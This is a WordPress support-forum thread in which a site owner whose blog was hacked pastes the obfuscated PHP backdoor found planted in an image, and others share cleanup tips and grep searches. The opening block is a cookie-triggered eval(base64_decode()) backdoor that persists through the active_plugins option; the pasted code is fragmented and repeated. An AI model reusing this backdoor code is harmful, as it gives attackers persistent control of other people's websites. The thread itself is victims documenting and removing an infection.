    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/"",/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/strrev($trp_m[1])/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/);/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/$trp_f();/* GFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3RpdGFjdD0i
    0FDVElPTl0iOyAkdG1
    X3NoZ
    xsPSJbVE1QX1NIRUxMX1BBVEhdIjsNCmVycm9yX3JlcG9ydGluZyg
    KTsNCkBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    Nzc3KTsNCkBjaG1vZCgkdG1
    X3NoZ
    xsLDA3NzcpOyBAdG91Y2goJHRtcF9zaGVsbCk7IEBjaG1vZCgkdG1
    X3NoZ
    xsLDA1NTUpO
    0Ka
    YoJGFjdD09InRtcCIpIEBjaG1vZChzd
    JzdHIoJHRtcF9zaGVsbC
    
    LHN0cnJ
    b3MoJHRtcF9zaGVsbC
    iLyIpKS
    
    NTU1KTsNCiRsYz0i
    0dPUk9fQ09PS0lFXSI7DQppZihpc3NldCgkX0NPT0tJRVskbGNdKSl7DQoJJGxpbj0kX0NPT0tJRVskbGNdO
    0KC
    VjaG8oIj
    hLS0gZXggLS0
    Iik7DQoJJGxpbj1
    cmVnX3JlcGxhY2UoIi9fLyIsICIrIi
    gJGxpbik7DQoJZXZhbChiYXNlNjRfZGVjb2RlKCRsa
    4pKTsNCgllY2hvKCI8IS0tIC9leCAtLT4iKTsNCglleGl0O
    0KfQ0KJGZmd
    5jdHh0PSckcD0iJy4kdG1
    X3NoZ
    xsLiciO
    0KJGE9Z2V0X29
    dGlvbigiY
    N0aXZlX3Bsd
    dpbnMiKTsNCiRiP
    ZhbHNlOyBpZihpc19hcnJheSgkYSkpIGZvcmVhY2goJGEgYXMgJGspIGlmKHN0cnBvcygkay
    kcCkhPT1mY
    xzZSkgJGI9dHJ1ZTsNCmlmKCEkYil7ICRh
    109JHA7IHV
    ZGF0ZV9vcHRpb24oImFjdGl2ZV9
    bHVna
    5zIi
    kYSk7IH0nO
    0KJGZmd
    5jP
    NyZ
    F0ZV9md
    5jdGlvbignJy
    kZmZ1bmN0eHQpO
    0KY
    RkX2FjdGlvbigidXBkYXRlX29
    dGlvbl9hY3Rpd*/ ?>

    How can I block this hacking attemps? I don’t know how the hacker add these code to an image and, of course, to my MySQL database to get out the visitors arriving from google out from my website.

Viewing 11 replies - 31 through 41 (of 41 total)
  • Thread Starter patrickdappollonio

    (@patrickdappollonio)

    EverMaster in what file(s) I can find this code?

    Any help would be appreciated, and If you can contact me, send me a message from the contact form located here: https://www.larvainternet.com/contacto.htm and then I send you an e-mail with another ways.

    But for me, doing all the steps taht I say a few post up, the hack was resolved, but everyday a few users say me that WordPress 2.5.1 is unsecure and they’re hacked using that version.

    And the WordPress Support Staff? I send them an e-mail but I don’t have answers from they. :S

    Ah! And thanks piratazzurro for making the video ?? Really nice!

    hola Patrick!! gracias ?? pero creo que hay otros hackeos ??

    I discovered the hack that Patrik describe, in 3 blogs that I have. But only one blog drammatically decreased its visitors!! I fixed it in every blog but the problem persists…

    I think that “bad-plugin-image” is just one possibility.. there’s another hack we have to find. Maybe TJJA is right: copy over the files in main wp folder?

    Thanks to this thread and some other blog entries, I was able to track down and fix (at least partly) the problem. You can find my method here:

    https://www.getrichslowly.org/blog/2008/06/08/patching-the-wordpress-anyresultsnet-hack/

    The bad plugin image is part of the problem, but the WP database has seen tweaking, too, including the user and usermeta tables. Also, wp-blog-header.php has extra code pasted at the front.

    THANKS A LOT JDROT!! ??
    I hope it works fine now… unfortunatly I can’t check it.

    I never had this problem. My friends told me…

    It’s so strage: I had 3 blogs hacked in the same way.

    Why one blog lost visitors… and the others none?
    I’m “happy” for this.. but it’s strange.

    Maybe we don’t know all the truth yet? ??

    FYI – I’ve blogged about this and the various ways the current problems are created here: https://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/

    If you are on a Linux or Mac you can open a command window

    Go to the top directory of the copy of your website

    Type
    grep -Rn fwrite *

    and hit enter. It should give you a list of files and the line number where the problem is.

    Sorry fwrite is too common

    grep -Rn [bad-word]

    I have four WP sites running v2.3, v2.3.1, v2.3.3 and v2.5. All but the v2.5 have had access as explained in this hack; but none of them have been compromised as far as I can tell.

    But strangely, all my databases’ tables WP_OPTIONS do not have ACTIVE_PLUGINS as some have mentioned. All they have are:

    OPTION_ID
    BLOG_ID
    OPTION_NAME
    OPTION_VALUE
    AUTOLOAD

    Am I not understanding something perhaps?

    Also, someone mentioned ‘rss_f541b3abd05e7962fcab37737f40fad8’ as a place to look for a hack indication. Well, what is it used for beside, I assume, a place for useless information that is better off placed into a README file of some kind? It is utter waste in the database. And since it is filled with such utter nonsense it is ripe for hacking!

    Check this: https://www.bloggerguide.net/blog-platform/wordpress/wordpress-exploit-giving-backlinks-redirects-and-headaches-but-no-visitors/

    There is written what to do in case of this kind of attack.
    Searching for more and will post when will find something.

    I know this thread is old like in really old, but my 2.7. install of WordPress got hacked in a simliar way (active_plugins option referencing a encrypted php-file in my plugin-folder). I then checked if other blogs on my server got hacked and well, they all had the same problem.

Viewing 11 replies - 31 through 41 (of 41 total)
  • The topic ‘I was hacked’ is closed to new replies.